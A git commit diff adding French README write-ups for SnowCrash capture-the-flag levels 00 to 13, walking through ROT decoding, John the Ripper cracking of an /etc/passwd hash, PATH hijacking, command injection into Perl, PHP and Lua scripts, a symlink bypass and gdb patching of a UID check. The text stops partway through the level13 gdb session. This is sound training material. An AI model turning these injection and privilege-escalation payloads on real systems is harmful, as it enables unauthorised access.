style: harmonize all french readme
This commit is contained in:
parent
9e3d9cd2be
commit
08429782c7
15 changed files with 878 additions and 0 deletions
72
rparodi/level00/README-FR.md
Normal file
72
rparodi/level00/README-FR.md
Normal file
|
|
@ -0,0 +1,72 @@
|
|||
Nous allons regarder les fichiers detenus par mon utilisateurs:
|
||||
|
||||
```bash
|
||||
find / -user flag00 2> /dev/null
|
||||
/usr/sbin/john
|
||||
/rofs/usr/sbin/john
|
||||
```
|
||||
|
||||
> John the Ripper est un outil de recuperation de mot de passe
|
||||
|
||||
```bash
|
||||
ll /usr/sbin/john
|
||||
----r--r-- 1 flag00 flag00 15 Mar 5 2016 /usr/sbin/john
|
||||
ll /rofs/usr/sbin/john
|
||||
----r--r-- 1 flag00 flag00 15 Mar 5 2016 /rofs/usr/sbin/john
|
||||
```
|
||||
|
||||
Ces fichiers sont en ReadOnly et on une petite taille pour un executable je decide donc d'en afficher le contenu
|
||||
|
||||
```bash
|
||||
cat /usr/sbin/john
|
||||
cdiiddwpgswtgt
|
||||
cat /rofs/usr/sbin/john
|
||||
cdiiddwpgswtgt
|
||||
```
|
||||
|
||||
A partir de maintenant nous avons la certitude que le contenu de ces flags sont les memes. Je tente de le mettre dans get flag mais il m'est indiquer que la reponse n'est pas celle la.
|
||||
|
||||
```bash
|
||||
getflag cdiiddwpgswtgt
|
||||
Check flag.Here is your token :
|
||||
Nope there is no token here for you sorry. Try again :)
|
||||
```
|
||||
|
||||
J'ai donc utiliser cet [outil en ligne](https://www.kodytools.com/rot-encoder-decoder) afin de trouver que ce que cache ce rot11
|
||||
|
||||
Mais le sujet indique qu'il est possible de rendre un script j'ai donc fait un program pour tester tout les rot (level00/ressources/rotX.c)
|
||||
|
||||
```txt
|
||||
rot1: dejjeexqhtxuhu
|
||||
rot2: efkkffyriuyviv
|
||||
rot3: fgllggzsjvzwjw
|
||||
rot4: ghmmhhatkwaxkx
|
||||
rot5: hinniibulxbyly
|
||||
rot6: ijoojjcvmyczmz
|
||||
rot7: jkppkkdwnzdana
|
||||
rot8: klqqllexoaebob
|
||||
rot9: lmrrmmfypbfcpc
|
||||
rot10: mnssnngzqcgdqd
|
||||
rot11: nottoohardhere
|
||||
rot12: opuuppibseifsf
|
||||
rot13: pqvvqqjctfjgtg
|
||||
rot14: qrwwrrkdugkhuh
|
||||
rot15: rsxxsslevhlivi
|
||||
rot16: styyttmfwimjwj
|
||||
rot17: tuzzuungxjnkxk
|
||||
rot18: uvaavvohykolyl
|
||||
rot19: vwbbwwpizlpmzm
|
||||
rot20: wxccxxqjamqnan
|
||||
rot21: xyddyyrkbnrobo
|
||||
rot22: yzeezzslcospcp
|
||||
rot23: zaffaatmdptqdq
|
||||
rot24: abggbbunequrer
|
||||
```
|
||||
|
||||
Lors de la lecture `rot11: nottoohardhere` semble tres anglais et me semble le flag je decide donc de tester
|
||||
|
||||
Je tente de me connecter avec ce mot de passe a flag00 puis lance getflag
|
||||
```bash
|
||||
getflag
|
||||
Check flag.Here is your token : x24ti5gi3x0ol2eh4esiuxias
|
||||
```
|
||||
65
rparodi/level01/README-FR.md
Normal file
65
rparodi/level01/README-FR.md
Normal file
|
|
@ -0,0 +1,65 @@
|
|||
Le mot de passe du compte `level01` n'est pas donne mais est bien exitstant
|
||||
|
||||
```bash
|
||||
groups level01
|
||||
level01 : level01 users
|
||||
```
|
||||
|
||||
En cherchant la connection je regarde sur le fichier system `/etc/passwd`
|
||||
|
||||
###### Voici uniquement la partie interessante (avec la commande complete)
|
||||
```bash
|
||||
cat /etc/passwd | sed 's/:/ /g' | awk '{print $1, $2}' | grep '01'
|
||||
level01 x
|
||||
flag01 42hDRfypTqqnw
|
||||
```
|
||||
|
||||
et tombe donc sur un hash de mot de passe dans le fichier /etc/passwd je decide donc le copier avec scp sur mon laptop
|
||||
```bash
|
||||
scp -P 4242 level00@localhost:/etc/passwd .
|
||||
level00@localhost's password:
|
||||
passwd 100% 2477 597.9KB/s 00:00
|
||||
|
||||
|
||||
ll
|
||||
Permissions Size User Date Modified Name
|
||||
.rw-r--r--@ 2.5k raphael 26 Jan 15:57 passwd
|
||||
|
||||
```
|
||||
|
||||
John ne fonctionnant pas sur notre session a cause du flag00 alors nous allons faire utliser sur mon laptop
|
||||
```bash
|
||||
john ./passwd
|
||||
Warning: detected hash type "descrypt", but the string is also recognized as "descrypt-opencl"
|
||||
Use the "--format=descrypt-opencl" option to force loading these as that type instead
|
||||
Using default input encoding: UTF-8
|
||||
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 ASIMD])
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
|
||||
Warning: Only 126 candidates buffered for the current salt, minimum 128 needed for performance.
|
||||
Almost done: Processing the remaining buffered candidate passwords, if any.
|
||||
0g 0:00:00:00 DONE 1/3 (2026-01-26 15:57) 0g/s 70200p/s 70200c/s 70200C/s Flag0168..Flag0159
|
||||
Proceeding with wordlist:/nix/store/sjnlaf0f50sb5p9l93rvlqfhi7xzjpvm-john-rolling-2404/share/john/password.lst
|
||||
Enabling duplicate candidate password suppressor
|
||||
abcdefg (flag01)
|
||||
1g 0:00:00:00 DONE 2/3 (2026-01-26 15:57) 33.33g/s 49000p/s 49000c/s 49000C/s raquel..bigman
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed.
|
||||
|
||||
|
||||
john ./passwd --show
|
||||
flag01:abcdefg:3001:3001::/home/flag/flag01:/bin/bash
|
||||
|
||||
1 password hash cracked, 0 left
|
||||
```
|
||||
|
||||
Et la connection et maintenant possible et je peux lancer
|
||||
```bash
|
||||
su flag01
|
||||
Password:
|
||||
Don't forget to launch getflag !
|
||||
|
||||
|
||||
getflag
|
||||
Check flag.Here is your token : f2av5il02puano7naaf6adaaf
|
||||
```
|
||||
99
rparodi/level02/README-FR.md
Normal file
99
rparodi/level02/README-FR.md
Normal file
|
|
@ -0,0 +1,99 @@
|
|||
La connection au compte level02 se fait avec comme mot de passe le flag du niveau 01
|
||||
|
||||
Lors de la connection je vais dans le home de level02 et j'appercois un fichier:
|
||||
```bash
|
||||
ls -l
|
||||
otal 12
|
||||
----r--r-- 1 flag02 level02 8302 Aug 30 2015 level02.pcap
|
||||
```
|
||||
|
||||
L'extension est PCAP (soit l'anagramme de Packet Capture Data)
|
||||
Je decide donc de regarder avec wireshark ce qui se passe dans cette capture
|
||||
|
||||
|
||||
###### Toutes mes recherches sont parametres ainsi (packet byte / String)
|
||||
|
||||
Je commence par rechercher flag mais aucun packet
|
||||
|
||||
Lorsque je recherches password la je trouve la trame 43:
|
||||
Je decide donc de la suivre et tombre sur la trame suivant
|
||||
|
||||
```wireshark
|
||||
..%
|
||||
..%
|
||||
..&..... ..#..'..$
|
||||
..&..... ..#..'..$
|
||||
.. .....#.....'.........
|
||||
.. .38400,38400....#.SodaCan:0....'..DISPLAY.SodaCan:0......xterm..
|
||||
........"........!
|
||||
........"..".....b........b.... B.
|
||||
..............................1.......!
|
||||
.."....
|
||||
.."....
|
||||
..!..........."
|
||||
........"
|
||||
.."............. ..
|
||||
.....................
|
||||
Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)
|
||||
|
||||
..wwwbugs login:
|
||||
l
|
||||
.l
|
||||
e
|
||||
.e
|
||||
v
|
||||
.v
|
||||
e
|
||||
.e
|
||||
l
|
||||
.l
|
||||
X
|
||||
.X
|
||||
|
||||
|
||||
..
|
||||
Password:
|
||||
ft_wandr...NDRel.L0L
|
||||
|
||||
.
|
||||
..
|
||||
Login incorrect
|
||||
wwwbugs login:
|
||||
```
|
||||
|
||||
Plus particulierement c'est la version avec le hexadecimal qui vas nous interesser:
|
||||
|
||||
```hex
|
||||
000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord:
|
||||
000000B9 66 f
|
||||
000000BA 74 t
|
||||
000000BB 5f _
|
||||
000000BC 77 w
|
||||
000000BD 61 a
|
||||
000000BE 6e n
|
||||
000000BF 64 d
|
||||
000000C0 72 r
|
||||
000000C1 7f .
|
||||
000000C2 7f .
|
||||
000000C3 7f .
|
||||
000000C4 4e N
|
||||
000000C5 44 D
|
||||
000000C6 52 R
|
||||
000000C7 65 e
|
||||
000000C8 6c l
|
||||
000000C9 7f .
|
||||
000000CA 4c L
|
||||
000000CB 30 0
|
||||
000000CC 4c L
|
||||
000000CD 0d .
|
||||
000000E3 00 0d 0a ...
|
||||
000000E6 01 .
|
||||
000000E7 00 0d 0a 4c 6f 67 69 6e 20 69 6e 63 6f 72 72 65 ...Login incorre
|
||||
000000F7 63 74 0d 0a 77 77 77 62 75 67 73 20 6c 6f 67 69 ct..wwwb ugs logi
|
||||
00000107 6e 3a 20 n:
|
||||
```
|
||||
|
||||
|
||||
Avec la table ascii nous pouvons voir que les points sont en hexa 7f soit 127 soit DEL (le reste des lettres corresponds)
|
||||
|
||||
Je tente donc de me connecter avec le mot de passe suivant: `ft_waNDReL0L`
|
||||
49
rparodi/level03/README-FR.md
Normal file
49
rparodi/level03/README-FR.md
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
Le flag 03 est enfin reelement de l'exploitation de binaire
|
||||
|
||||
Premiere chose que je lance un strings sur le binaire afin de voir si qui en ressort et vers ou chercher
|
||||
```bash
|
||||
/lib/ld-linux.so.2
|
||||
KT{K
|
||||
__gmon_start__
|
||||
libc.so.6
|
||||
_IO_stdin_used
|
||||
setresgid
|
||||
setresuid
|
||||
system
|
||||
getegid
|
||||
geteuid
|
||||
__libc_start_main
|
||||
GLIBC_2.0
|
||||
PTRh
|
||||
UWVS
|
||||
[^_]
|
||||
/usr/bin/env echo Exploit me
|
||||
...
|
||||
```
|
||||
|
||||
Je vois que `/usr/bin/env echo` est appeler (env ce base sur le l'environnement de mon user actuel)
|
||||
|
||||
Je tente de faire un fichier dans mon home, mais ca ne met pas permis
|
||||
|
||||
Je tente donc dans le /tmp
|
||||
|
||||
ce qui fonctionne et decide donc d'ouvrir un shell
|
||||
|
||||
```bash
|
||||
cat /tmp/echo
|
||||
bash
|
||||
|
||||
|
||||
export PATH="/tmp:$PATH"
|
||||
|
||||
chmod 777 /tmp/echo
|
||||
|
||||
./level03
|
||||
```
|
||||
|
||||
Je me retrouve donc directement sur le shell de level03
|
||||
|
||||
```bash
|
||||
flag03@SnowCrash:~$ getflag
|
||||
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
|
||||
```
|
||||
35
rparodi/level04/README-FR.md
Normal file
35
rparodi/level04/README-FR.md
Normal file
|
|
@ -0,0 +1,35 @@
|
|||
Lors de l'arriver sur le level04 je remarque le fichier level04.pl
|
||||
|
||||
Ce script est en perl et se presente sous la forme
|
||||
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
# localhost:4747
|
||||
use CGI qw{param};
|
||||
print "Content-type: text/html\n\n";
|
||||
sub x {
|
||||
$y = $_[0];
|
||||
print `echo $y 2>&1`;
|
||||
}
|
||||
```
|
||||
|
||||
Nous pouvons donc voir que ce script recupere un argument (ici x), et affiche cet argumements
|
||||
|
||||
```bash
|
||||
curl -d x="Common will just echo" http://127.0.0.1:4747
|
||||
Common will just echo
|
||||
```
|
||||
|
||||
Nous pouvons donc afficher ce que nous souhaitons en executant echo. Mais egallement un subshell
|
||||
|
||||
```bash
|
||||
curl -d x="\$(ls -l)" http://127.0.0.1:4747
|
||||
total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl
|
||||
```
|
||||
|
||||
Nous pouvons donc executer les commandes donc testons avec getflag
|
||||
|
||||
```bash
|
||||
curl -d x="\$(getflag)" http://127.0.0.1:4747
|
||||
Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap
|
||||
```
|
||||
29
rparodi/level05/README-FR.md
Normal file
29
rparodi/level05/README-FR.md
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
Lors de l'arriver sur le level05 je remarque que le dossier home et vide je decide donc faire une petite recherche de quel fichier appartient au flag05
|
||||
```bash
|
||||
find / -user flag05 2> /dev/null
|
||||
/usr/sbin/openarenaserver
|
||||
/rofs/usr/sbin/openarenaserver
|
||||
```
|
||||
|
||||
Nous n'avons pas les permissions d'executer ce fichier mais nous pouvons le lire:
|
||||
|
||||
```bash
|
||||
cat /usr/sbin/openarenaserver
|
||||
#!/bin/sh
|
||||
|
||||
for i in /opt/openarenaserver/* ; do
|
||||
(ulimit -t 5; bash -x "$i")
|
||||
rm -f "$i"
|
||||
done
|
||||
```
|
||||
|
||||
et je vais faire un petit fichier
|
||||
|
||||
```bash
|
||||
echo 'getflag > /tmp/flag' > /opt/openarenaserver/notanexploit
|
||||
```
|
||||
|
||||
```bash
|
||||
cat /tmp/flag
|
||||
Check flag.Here is your token : viuaaale9huek52boumoomioc
|
||||
```
|
||||
34
rparodi/level06/README-FR.md
Normal file
34
rparodi/level06/README-FR.md
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
Lors de mon arriver sur le niveau 6 je remarque que j'ai 2 fichiers qui sont accessible
|
||||
|
||||
```bash
|
||||
ls -l
|
||||
total 12
|
||||
-rwsr-x---+ 1 flag06 level06 7503 Aug 30 2015 level06
|
||||
-rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php
|
||||
```
|
||||
|
||||
Le fichier est disponibles dans ./ressources/level06.php (sinon c'etait en oneline moins lisible)
|
||||
|
||||
Une fois la lecture du script effectue nous pouvons en comprendre que ce program fait:
|
||||
- Lis le fichier passer en arguements
|
||||
- Il interprete des commandes comme des variables php
|
||||
|
||||
Ce qui fait que c'est assez interessant pour nous:
|
||||
|
||||
```bash
|
||||
echo -e "[x \${\`echo coucou\`}]" > /tmp/test
|
||||
./level06 /tmp/test hello
|
||||
PHP Notice: Undefined variable: coucou
|
||||
in /home/user/level06/level06.php(4) : regexp code on line 1
|
||||
```
|
||||
|
||||
Nous pouvous voir que la resultat de la commande nous est afficher en temps qu'erreur en nous disant que elle n'est pas definis
|
||||
|
||||
Je peux donc je peux donc faire la meme chose mais avec getflag
|
||||
|
||||
```bash
|
||||
echo -e "[x \${\`getflag\`}]" > /tmp/test
|
||||
./level06 /tmp/test hello
|
||||
PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
|
||||
in /home/user/level06/level06.php(4) : regexp code on line 1
|
||||
```
|
||||
46
rparodi/level07/README-FR.md
Normal file
46
rparodi/level07/README-FR.md
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
Lors de mon arriver sur le level07 je fait un petit check des fichiers
|
||||
|
||||
Je vois un level07 qui est un executable
|
||||
|
||||
Je commence par faire un petit ltrace (pour regarder les librairies appeler)
|
||||
|
||||
```c
|
||||
ltrace ./level07
|
||||
__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
|
||||
getegid() = 2007
|
||||
geteuid() = 2007
|
||||
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
|
||||
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
|
||||
getenv("LOGNAME") = "level07"
|
||||
asprintf(0xbffff744, 0x8048688, 0xbfffff4f, 0xb7e5ee55, 0xb7fed280) = 18
|
||||
system("/bin/echo level07 "level07
|
||||
<unfinished ...>
|
||||
--- SIGCHLD (Child exited) ---
|
||||
<... system resumed> ) = 0
|
||||
+++ exited (status 0) +++
|
||||
```
|
||||
|
||||
Et je remarque que getenv et appeler sur LOGNAME je tente donc une modification et:
|
||||
|
||||
```bash
|
||||
export LOGNAME='hello'
|
||||
|
||||
./level07
|
||||
hello
|
||||
```
|
||||
|
||||
Mais il est donc egallement possible d'executer des commandes
|
||||
|
||||
```bash
|
||||
export LOGNAME='$(echo hello)'
|
||||
./level07
|
||||
hello
|
||||
```
|
||||
|
||||
Donc forcement il est possible de lancer getflag
|
||||
|
||||
```bash
|
||||
export LOGNAME='$(getflag)'
|
||||
./level07
|
||||
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
|
||||
```
|
||||
51
rparodi/level08/README-FR.md
Normal file
51
rparodi/level08/README-FR.md
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
Lors de mon arriver sur le level08 je remarque tout de suite que j'ai deux fichier sur mon home
|
||||
|
||||
```bash
|
||||
ls -l
|
||||
total 16
|
||||
-rwsr-s---+ 1 flag08 level08 8617 Mar 5 2016 level08
|
||||
-rw------- 1 flag08 flag08 26 Mar 5 2016 token
|
||||
```
|
||||
|
||||
Un executable qui malgres mes tentative ne me donne rien de vraiement precis uniquement mais qui semble lire un fichier
|
||||
|
||||
```bash
|
||||
./level08
|
||||
./level08 [file to read]
|
||||
```
|
||||
|
||||
Et je tente alors de lire token mais il me met un message d'erreur
|
||||
|
||||
```bash
|
||||
./level08 token
|
||||
You may not access 'token'
|
||||
```
|
||||
|
||||
Mais la facon dont est fait le program protege uniquement un fichier qui contien token
|
||||
```bash
|
||||
ltrace ./level08 token
|
||||
__libc_start_main(0x8048554, 2, 0xbffff7f4, 0x80486b0, 0x8048720 <unfinished ...>
|
||||
strstr("token", "token") = "token"
|
||||
printf("You may not access '%s'\n", "token"You may not access 'token'
|
||||
) = 27
|
||||
exit(1 <unfinished ...>
|
||||
+++ exited (status 1) +++
|
||||
```
|
||||
|
||||
Je decide donc de faire un lien symbolique sur le fichier de token ailleurs (la ou je peux ecrire)
|
||||
```bash
|
||||
ln -s /home/user/level08/token /tmp/test
|
||||
```
|
||||
|
||||
Et j'obtiens quelque chose qui ressemble a un flag
|
||||
```bash
|
||||
./level08 /tmp/test
|
||||
quif5eloekouj29ke0vouxean
|
||||
```
|
||||
|
||||
qui n'est pas un flag mais le mot de passe pour flag08 auquel je me connect et fait la commande getflag
|
||||
|
||||
```bash
|
||||
getflag
|
||||
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f
|
||||
```
|
||||
43
rparodi/level09/README-FR.md
Normal file
43
rparodi/level09/README-FR.md
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
Lors de mon arriver sur le level09 je remarque un fichier level09
|
||||
|
||||
```bash
|
||||
ls -l
|
||||
total 12
|
||||
-rwsr-sr-x 1 flag09 level09 7640 Mar 5 2016 level09
|
||||
----r--r-- 1 flag09 level09 26 Mar 5 2016 token
|
||||
```
|
||||
|
||||
Token a plein de character illisible
|
||||
```bash
|
||||
cat token
|
||||
f4kmm6p|=<3D>p<EFBFBD>n<EFBFBD><6E>DB<44>Du{<7B><>
|
||||
```
|
||||
|
||||
Afin de recuperer les characteres
|
||||
```bash
|
||||
cat token | hexdump -C
|
||||
00000000 66 34 6b 6d 6d 36 70 7c 3d 82 7f 70 82 6e 83 82 |f4kmm6p|=..p.n..|
|
||||
00000010 44 42 83 44 75 7b 7f 8c 89 0a |DB.Du{....|
|
||||
0000001a
|
||||
```
|
||||
|
||||
Je pense que le binaire est donc le programme qui permet "d'encrypter" le fichier si c'est correct alors l'algorithme suivi est donc str\[i] + i
|
||||
|
||||
```bash
|
||||
./level09 aaa
|
||||
abc
|
||||
```
|
||||
a + 0 = a
|
||||
a + 1 = b
|
||||
a + 2 = c
|
||||
|
||||
```bash
|
||||
./a.out
|
||||
f3iji1ju5yuevaus41q1afiuq
|
||||
```
|
||||
|
||||
Je tente de me connect sur flag09 et ca marche et j'obtient donc le flag:
|
||||
```bash
|
||||
getflag
|
||||
Check flag.Here is your token : s5cajpm8ev6xhw998prwg728z
|
||||
```
|
||||
70
rparodi/level10/README-FR.md
Normal file
70
rparodi/level10/README-FR.md
Normal file
|
|
@ -0,0 +1,70 @@
|
|||
Lors de mon arriver sur le level10 je remarque 2 fichier dans mon home
|
||||
|
||||
```bash
|
||||
ls -l
|
||||
total 16
|
||||
-rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10
|
||||
-rw------- 1 flag10 flag10 26 Mar 5 2016 token
|
||||
```
|
||||
|
||||
level10 est un executable qui prends 2 arguments
|
||||
```bash
|
||||
./level10
|
||||
./level10 file host
|
||||
sends file to host if you have access to it
|
||||
```
|
||||
|
||||
Bien sur token n'est pas lisible par le programme
|
||||
```c
|
||||
ltrace ./level10 ./token
|
||||
__libc_start_main(0x80486d4, 2, 0xbffff7e4, 0x8048970, 0x80489e0 <unfinished ...>
|
||||
printf("%s file host\n\tsends file to ho"..., "./level10"./level10 file host
|
||||
sends file to host if you have access to it
|
||||
) = 65
|
||||
exit(1 <unfinished ...>
|
||||
+++ exited (status 1) +++
|
||||
```
|
||||
|
||||
Je tente de faire un autre fichier /tmp/test et de lancer le programme avec
|
||||
```bash
|
||||
echo 'test' > /tmp/test
|
||||
|
||||
level10@SnowCrash:~$ ltrace ./level10 /tmp/test 127.0.0.1
|
||||
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
|
||||
access("/tmp/test", 4) = 0
|
||||
printf("Connecting to %s:6969 .. ", "127.0.0.1") = 32
|
||||
fflush(0xb7fd1a20Connecting to 127.0.0.1:6969 .. ) = 0
|
||||
socket(2, 1, 0) = 3
|
||||
inet_addr("127.0.0.1") = 0x0100007f
|
||||
htons(6969, 1, 0, 0, 0) = 14619
|
||||
connect(3, 0xbffff71c, 16, 0, 0) = 0
|
||||
write(3, ".*( )*.\n", 8) = 8
|
||||
printf("Connected!\nSending file .. "Connected!
|
||||
) = 27
|
||||
fflush(0xb7fd1a20Sending file .. ) = 0
|
||||
open("/tmp/test", 0, 010) = 4
|
||||
read(4, "test\n", 4096) = 5
|
||||
write(3, "test\n", 5) = 5
|
||||
puts("wrote file!"wrote file!
|
||||
) = 12
|
||||
+++ exited (status 12) +++
|
||||
```
|
||||
|
||||
Il essaye donc l'envoyer un fichier sur le 6969, effectivement lors de la l'ecoute du port avec netcat
|
||||
```bash
|
||||
nc -lv 6969
|
||||
Connection from 127.0.0.1 port 6969 [tcp/*] accepted
|
||||
.*( )*.
|
||||
test
|
||||
```
|
||||
|
||||
Le programme semble s'arreter a access lorsque il n'est pas possible de lire le fichier
|
||||
Mais access est vulnerable a TOUCTOU (Time-Of-Check to Time-Of-Use)
|
||||
Je vais donc faire un script en bash pour effectuer l'exploit
|
||||
|
||||
```bash
|
||||
Connection from 127.0.0.1 port 6969 [tcp/*] accepted
|
||||
.*( )*.
|
||||
woupa2yuojeeaaed06riuj63c
|
||||
```
|
||||
au bout de 30s le flag tombe
|
||||
67
rparodi/level11/README-FR.md
Normal file
67
rparodi/level11/README-FR.md
Normal file
|
|
@ -0,0 +1,67 @@
|
|||
Lors de mon arriver sur le level 11 je remarque un fichier lua lisble
|
||||
|
||||
```bash
|
||||
ls -l
|
||||
total 4
|
||||
-rwsr-sr-x 1 flag11 level11 668 Mar 5 2016 level11.lua
|
||||
```
|
||||
|
||||
Je l'ouvre pour regarder le contenue
|
||||
```lua
|
||||
#!/usr/bin/env lua
|
||||
local socket = require("socket")
|
||||
local server = assert(socket.bind("127.0.0.1", 5151))
|
||||
|
||||
function hash(pass)
|
||||
prog = io.popen("echo "..pass.." | sha1sum", "r")
|
||||
data = prog:read("*all")
|
||||
prog:close()
|
||||
|
||||
data = string.sub(data, 1, 40)
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
|
||||
while 1 do
|
||||
local client = server:accept()
|
||||
client:send("Password: ")
|
||||
client:settimeout(60)
|
||||
local l, err = client:receive()
|
||||
if not err then
|
||||
print("trying " .. l)
|
||||
local h = hash(l)
|
||||
|
||||
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
|
||||
client:send("Erf nope..\n");
|
||||
else
|
||||
client:send("Gz you dumb*\n")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
client:close()
|
||||
end
|
||||
```
|
||||
|
||||
Le hash a ete decode via [CrashStation](https://crackstation.net/) et donne en sha1 NotSoEasy
|
||||
Ce n'est donc pas la reponse mais il fallait bien tenter
|
||||
|
||||
Lors de la lecture du script nous pouvons voir que le port 5151 est ouvert et donc nous pouvons essayer de le lancer avec un netcat en ecoute de ce dernier
|
||||
|
||||
Lorsqu'il est en ecoute il demande un password
|
||||
```bash
|
||||
nc localhost 5151
|
||||
Password:
|
||||
```
|
||||
|
||||
mais le hash est calculer en effectuant une commande `echo $args | sha1sum` (traduit en shell)
|
||||
nous pouvons donc executer une commande sur cette derniere mais le resultat ne nous sera pas afficher car pas envoyer au client mais nous pouvons la lancer directement pour rediriger dans un fichier
|
||||
```bash
|
||||
nc localhost 5151
|
||||
Password: $(getflag > /tmp/level11)
|
||||
Erf nope...
|
||||
|
||||
cat /tmp/level11
|
||||
Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
|
||||
```
|
||||
53
rparodi/level12/README-FR.md
Normal file
53
rparodi/level12/README-FR.md
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
Lors de mon arriver sur le level12 je remarque un fichier lisible avec un script perl
|
||||
|
||||
```bash
|
||||
ls -l
|
||||
total 4
|
||||
-rwsr-sr-x+ 1 flag12 level12 464 Mar 5 2016 level12.pl
|
||||
```
|
||||
|
||||
Ce sciprt prends 2 entree utilisateur (x, y) et transforme x a l'aide de la commande egrep
|
||||
```perl
|
||||
#!/usr/bin/env perl
|
||||
# localhost:4646
|
||||
use CGI qw{param};
|
||||
print "Content-type: text/html\n\n";
|
||||
|
||||
sub t {
|
||||
$nn = $_[1];
|
||||
$xx = $_[0];
|
||||
$xx =~ tr/a-z/A-Z/;
|
||||
$xx =~ s/\s.*//;
|
||||
@output = `egrep "^$xx" /tmp/xd 2>&1`;
|
||||
foreach $line (@output) {
|
||||
($f, $s) = split(/:/, $line);
|
||||
if($s =~ $nn) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
sub n {
|
||||
if($_[0] == 1) {
|
||||
print("..");
|
||||
} else {
|
||||
print(".");
|
||||
}
|
||||
}
|
||||
|
||||
n(t(param("x"), param("y")));
|
||||
```
|
||||
|
||||
L'exploit est donc assez simple il suffit de mettre la commande souhaiter dans un fichier avec un nom en majuscule (a cause du tr) et elle sera executer
|
||||
|
||||
```bash
|
||||
echo "getflag > /tmp/pass" > /tmp/LEVEL
|
||||
|
||||
mv /tmp/level /tmp/LEVEL
|
||||
|
||||
curl 'localhost:4646?x=`/*/LEVEL`'
|
||||
|
||||
cat /tmp/pass
|
||||
Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr
|
||||
```
|
||||
87
rparodi/level13/README-FR.md
Normal file
87
rparodi/level13/README-FR.md
Normal file
|
|
@ -0,0 +1,87 @@
|
|||
Lors de l'arriver sur le level13 je remarque le fichier level13
|
||||
|
||||
```bash
|
||||
ls -l level13
|
||||
-rwsr-sr-x 1 flag13 level13 7303 Aug 30 2015 level13
|
||||
```
|
||||
|
||||
Et je remarque egallement que c'est du C
|
||||
```c
|
||||
ltrace ./level13
|
||||
__libc_start_main(0x804858c, 1, 0xbffff7f4, 0x80485f0, 0x8048660 <unfinished ...>
|
||||
getuid() = 2013
|
||||
getuid() = 2013
|
||||
printf("UID %d started us but we we expe"..., 2013UID 2013 started us but we we expect 4242
|
||||
) = 42
|
||||
exit(1 <unfinished ...>
|
||||
+++ exited (status 1) +++
|
||||
```
|
||||
|
||||
en le lancant (plus proprement), il attente l'UID 4242
|
||||
```bash
|
||||
./level13
|
||||
UID 2013 started us but we we expect 4242
|
||||
```
|
||||
|
||||
Voici le code de la fonction main
|
||||
```asm
|
||||
0804858c <main>:
|
||||
804858c: 55 push ebp
|
||||
804858d: 89 e5 mov ebp,esp
|
||||
804858f: 83 e4 f0 and esp,0xfffffff0
|
||||
8048592: 83 ec 10 sub esp,0x10
|
||||
8048595: e8 e6 fd ff ff call 8048380 <getuid@plt>
|
||||
804859a: 3d 92 10 00 00 cmp eax,0x1092
|
||||
804859f: 74 2a je 80485cb <main+0x3f>
|
||||
80485a1: e8 da fd ff ff call 8048380 <getuid@plt>
|
||||
80485a6: ba c8 86 04 08 mov edx,0x80486c8
|
||||
80485ab: c7 44 24 08 92 10 00 mov DWORD PTR [esp+0x8],0x1092
|
||||
80485b2: 00
|
||||
80485b3: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
|
||||
80485b7: 89 14 24 mov DWORD PTR [esp],edx
|
||||
80485ba: e8 a1 fd ff ff call 8048360 <printf@plt>
|
||||
80485bf: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
|
||||
80485c6: e8 d5 fd ff ff call 80483a0 <exit@plt>
|
||||
80485cb: c7 04 24 ef 86 04 08 mov DWORD PTR [esp],0x80486ef
|
||||
80485d2: e8 9d fe ff ff call 8048474 <ft_des>
|
||||
80485d7: ba 09 87 04 08 mov edx,0x8048709
|
||||
80485dc: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
|
||||
80485e0: 89 14 24 mov DWORD PTR [esp],edx
|
||||
80485e3: e8 78 fd ff ff call 8048360 <printf@plt>
|
||||
80485e8: c9 leave
|
||||
80485e9: c3 ret
|
||||
80485ea: 90 nop
|
||||
80485eb: 90 nop
|
||||
80485ec: 90 nop
|
||||
80485ed: 90 nop
|
||||
80485ee: 90 nop
|
||||
80485ef: 90 nop
|
||||
```
|
||||
|
||||
Notamment cette ligne (7) qui vas nous interesser
|
||||
```asm
|
||||
804859a: cmp eax,0x1092
|
||||
```
|
||||
|
||||
0x1092 = 0d4242
|
||||
il suffit de changer la valeur de notre uid lors de la comparaison (a l'aide de gdb)
|
||||
```asm
|
||||
(gdb) b main
|
||||
Breakpoint 1 at 0x804858f
|
||||
(gdb) b *0x804859a
|
||||
Breakpoint 2 at 0x804859a
|
||||
(gdb) r
|
||||
Starting program: /home/user/level13/level13
|
||||
|
||||
